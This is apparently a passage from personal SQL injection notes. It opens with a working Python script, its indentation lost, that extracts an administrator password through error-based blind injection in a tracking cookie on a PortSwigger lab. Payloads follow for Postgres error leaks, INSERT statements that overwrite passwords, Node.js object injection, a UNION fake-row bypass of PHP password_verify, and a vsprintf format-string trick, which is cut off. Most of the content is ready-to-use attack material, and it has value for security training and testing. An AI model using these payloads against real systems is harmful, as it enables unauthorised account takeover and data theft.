Using From clause is mandatory, you can use From dual database.
Useful payloads
import requests
import string
chars = string.ascii_letters + string.digits
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Referer": "https://portswigger.net/", "Upgrade-Insecure-Requests": "1", "Sec-Fetch-Dest": "document", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-Site": "cross-site", "Sec-Fetch-User": "?1", "Dnt": "1", "Sec-Gpc": "1", "Te": "trailers", "Connection": "close"}
burp0_url = "https://0aac000b037a4225806adf7a001000f8.web-security-academy.net:443/"
FLAG='1'
NUM = 2
while len(FLAG) <20:
for CHAR in chars:
PAYLOAD = f"'||(SELECT CASE WHEN SUBSTR(password,{NUM},1)='{CHAR}' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'"
burp0_cookies = {"TrackingId": f"qnAqFiTow3TblhjF{PAYLOAD}", "session": "i65oU2hcqvITQo2rsNXGgidq7zK6MJlu"}
resp = requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)
if resp.status_code == 500:
NUM += 1
FLAG += CHAR
print("FLAG: ",FLAG)
print("NUM: ", NUM)
elif resp.status_code ==200:
pass
Postgres visible error
We can use this error to get data from db directly.
AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--;
Unicode
Insert statement
Make sure to play with commenting as it errors out sometimes.
username=admin&password=1337') ON CONFLICT(username) DO UPDATE SET password = 'admin';--"
# Mysql (Password: bcrypt("admin"))
admin\",\"$2a$12$BHVtAvXDP1xgjkGEoeqRTu2y4mycnpd6If0j/WbP0PCjwW4CKdq6G\") ON DUPLICATE KEY UPDATE password =\"$2a$12$s7j4XlEOiqDjcqkEZqeU8e9je5K9ZhXQQh5YtaIpL8ZgfGHR.GqGe\"--
Nodejs
Object injection
...
app.post("/auth", function (request, response) {
var username = request.body.username;
var password = request.body.password;
if (username && password) {
connection.query(
"SELECT * FROM accounts WHERE username = ? AND password = ?",
[username, password],
function (error, results, fields) {
...
}
);
}
});
This could be exploited by:
username=admin&password[password]=1
Password_verify() [PHP]
This can be used to inject a fake row containing results with a password hash whose password is known to the attacker.
SELECT * FROM table WHERE Username = 'MEOW' UNION SELECT 'root' AS username, '$6$ErsDojKr$7wXeObXJSXeSRzCWFi0ANfqTPndUGlEp0y1NkhzVl5lWaLibhkEucBklU6j43/JeUPEtLlpRFsFcSOqtEfqRe0' AS pwhash'
vsprintf [PHP]
Taking the following code as an example:
public function getLoginUserData($username, $password){
$username = strtr($username, ['"' => '\\"', '\\' => '\\\\']);
$query = vsprintf("SELECT * FROM users WHERE `user_username` = \"$username\" AND `user_password` = :password", [$password]);
$sql = $this->db->pdo->prepare($query);
$sql->bindValue(':password', $password);
//var_dump($sql);
$sql->execute();
$result = $sql->fetch(PDO::FETCH_OBJ);
return $result;
}
strtr() is doing a very good job here for preventing the sql injection by escaping double quotes and backslashes, and the vsprintf() in password could be exploited using the %1$\"<INJECTION_POINT> trick, but however the $sql->bindValue(':password', $password); is preventing it.
A trick to bypass this is to use %sformat string as a placeholder to pass the payload to username through password: